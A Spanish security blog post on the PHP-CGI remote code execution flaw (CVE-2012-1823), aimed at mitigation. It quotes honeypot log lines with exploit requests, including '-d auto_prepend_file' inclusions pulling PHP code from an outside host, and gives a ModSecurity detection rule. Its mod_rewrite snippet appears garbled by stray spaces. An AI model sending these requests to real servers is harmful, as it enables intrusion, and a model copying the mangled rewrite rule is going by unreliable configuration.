Filtro ModSecurity para la vulnerabilidad de PHP-CGI

Como muchos ya sabréis, el grupo de seguridad Eindbazen descubrió en el CTF de la última Nullcon y publicó recientemente una vulnerabilidad de ejecución remota de código en PHP-CGI (CVE-2012-1823, CVE-2012-2311, ...). 

En resumen un atacante remoto puede ser capaz de pasar argumentos de línea de comandos en una query string (‘?-s’), que se transferirá directamente al programa PHP-CGI...

Pues bien, SpiderLabs confirma que este ataque ya se está explotando activamente y, prueba de ello, son los intentos de explotación recogidos por sus honeypots:

37.112.127.136 - - [07/May/2012:02:36:11 +0400] "GET /?-s+%3d HTTP/1.1" 200 38 "-" "-"
37.112.127.136 - - [07/May/2012:02:36:12 +0400] "GET /?-d+auto_prepend_file=http://r00texp.narod2.ru/ows.txt HTTP/1.1" 200 38 "-" "-"
91.210.189.171 - - [07/May/2012:04:46:12 +0400] "GET /?-s HTTP/1.0" 200 6085 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
94.242.199.77 - - [07/May/2012:05:01:17 +0400] "GET /?-s HTTP/1.0" 200 6085 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
37.112.127.136 - - [07/May/2012:12:08:01 +0400] "GET /?-d+auto_prepend_file=http://r00texp.narod2.ru/ows.txt HTTP/1.0" 200 753 "-" "-"
37.112.127.136 - - [07/May/2012:12:08:01 +0400] "GET /?-s+%3d HTTP/1.0" 200 753 "-" "-"

Fijaros que mientras que algunos de estos intentos son simplemente pruebas para ver si la aplicación es vulnerable, también hay dos intentos de RFI para ejecutar código PHP.

Contramedidas

Si tenemos en cuenta que ya se está intentando explotar esta vulnerabilidad y que además las primeras contramedidas descritas no la mitigan completamente, se debe considerar la revisión de los filtros de seguridad.

Inicialmente se indicó el siguiente filtro utilizando mod_rewrite:

RewriteEngine on
RewriteCond% {QUERY_STRING} ^ [^ =] * $
RewriteCond% {QUERY_STRING}% 2d | \ - [NC]
RewriteRule.? - [F, L]

Esto se podría traducir como: si la QUERY_STRING no tiene un signo igual (=) y tiene un guión (-) devuelve una respuesta prohibida. El problema con este filtro es que NO va a atrapar a los ejemplos de RFI como los arriba, ya que tienen un signo = al declarar la función PHP "auto_prepend_file".

Trustwave SpiderLabs propone la siguiente regla para ModSecurity que captura todos los intentos de explotación conocidos en la actualidad:

SecRule QUERY_STRING "^-[sdcr]" "phase:1,t:none,t:urlDecodeUni,t:removeWhitespace,block,log,msg:'Potential PHP-CGI Exploit Attempt'"

Esta regla buscará los cuatro argumentos de línea de comandos en PHP más comunes para iniciar la QUERY_STRING que vienen directamente después del signo de interrogación (?). Aplicará una URL decode y eliminará los espacios en blanco.

 

Fuente: http://www.hackplayers.com/2012/05/filtro-modsecurity-para-la.html